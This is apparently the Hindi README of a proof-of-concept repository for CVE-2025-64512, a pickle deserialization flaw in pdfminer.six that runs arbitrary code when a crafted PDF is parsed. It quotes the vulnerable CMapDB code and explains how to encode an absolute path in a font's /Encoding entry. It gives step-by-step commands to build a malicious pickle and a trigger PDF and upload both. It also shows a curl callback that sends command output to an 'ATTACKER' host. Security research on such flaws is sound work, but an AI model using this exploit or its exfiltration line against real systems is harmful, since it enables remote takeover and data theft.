
CVE-2025-64512 के लिए PoC: pdfminer.six CMapDB pickle deserialization RCE, विशेष रूप से तैयार किए गए PDF के माध्यम से
CMapDB डिसीरियलाइज़ेशन PoCpdfminer.six में एक डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट जो किसी क्राफ्ट किए गए PDF को पार्स करते समय मनमाना कोड निष्पादन की ओर ले जाता है।
उद्देश्य / कानूनी अस्वीकरण यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान की गई है। यह एक सार्वजनिक रूप से प्रकट, पैच किए गए CVE को पुनरुत्पादित करती है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। इच्छित वातावरण: Hack The Box / VulnHub / स्थानीय लैब।
pdfminer.six 20250506 से पहले20250506cmapdb.py में, CMapDB._load_data() एक CMap फ़ाइल पढ़ता है जिसका नाम PDF फ़ॉन्ट की /Encoding प्रविष्टि से प्राप्त होता है और सामग्री को pickle.loads() में भेजता है:
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
तीन गुण मिलकर इसे शोषण योग्य बनाते हैं:
pickle.loads() आक्रमणकारी-नियंत्रित डेटा पर -> मनमाना कोड निष्पादन।os.path.join() खोज निर्देशिका को छोड़ देता है और फ़ाइल को उसी सटीक पथ पर खोलता है।.pickle.gz स्वचालित रूप से जोड़ा जाता है, इसलिए पथ बिना एक्सटेंशन के दिया जाता है।एक्सप्लॉइट के लिए भेद्य वेब ऐप पर दो फ़ाइलें अपलोड करनी होती हैं:
payload.pickle.gz — एक gzip-संपीड़ित पिकल जिसका __reduce__ एक कमांड निष्पादित करता है और CMap-आकार का dict लौटाता है (ताकि पेलोड चलने के बाद पार्सिंग सुचारू रूप से जारी रहे)।trigger.pdf — एक न्यूनतम PDF जो Type0/CIDFont का उपयोग करता है जिसका फ़ॉन्ट /Encoding पिकल के पूर्ण पथ की ओर इंगित करता है (बिना एक्सटेंशन)।PDF-स्तर के दो विवरण महत्वपूर्ण हैं:
CMapDB.get_cmap() केवल CIDFont (एक Type0 फ़ॉन्ट जिसमें DescendantFonts प्रविष्टि होती है) के माध्यम से पहुँचा जाता है, न कि साधारण Type1 फ़ॉन्ट से।/ सीमांकक के साथ शुरू होता है, इसलिए एन्कोडेड पथ को पूर्ण पथ के अग्रणी स्लैश को संरक्षित करने के लिए #2f से शुरू होना चाहिए। आंतरिक स्लैश भी #2f होते हैं क्योंकि / एक नाम सीमांकक है।जब लक्ष्य PDF पार्स करता है (जैसे pdf2txt.py को कॉल करने वाला पृष्ठभूमि वॉचर), CMapDB._load_data() पिकल खोलता है और कमांड निष्पादित करता है।
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
pdfminer.six 20250416 (भेद्य) के विरुद्ध एंड-टू-एंड सत्यापित: pdf2txt.py trigger.pdf चलाने पर पेलोड कमांड निष्पादित होता है और 0 के साथ बाहर निकलता है।
पेलोड कमांड ब्लाइंड है; कॉलबैक के माध्यम से डेटा निकालें, उदाहरण के लिए:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| फ़ाइल | उद्देश्य |
|---|---|
make_payload.py | दुर्भावनापूर्ण payload.pickle.gz उत्पन्न करता है |
make_trigger_pdf.py | सही xref ऑफ़सेट के साथ /Encoding ट्रिगर PDF उत्पन्न करता है |
20250506 के लिए फिक्स कमिट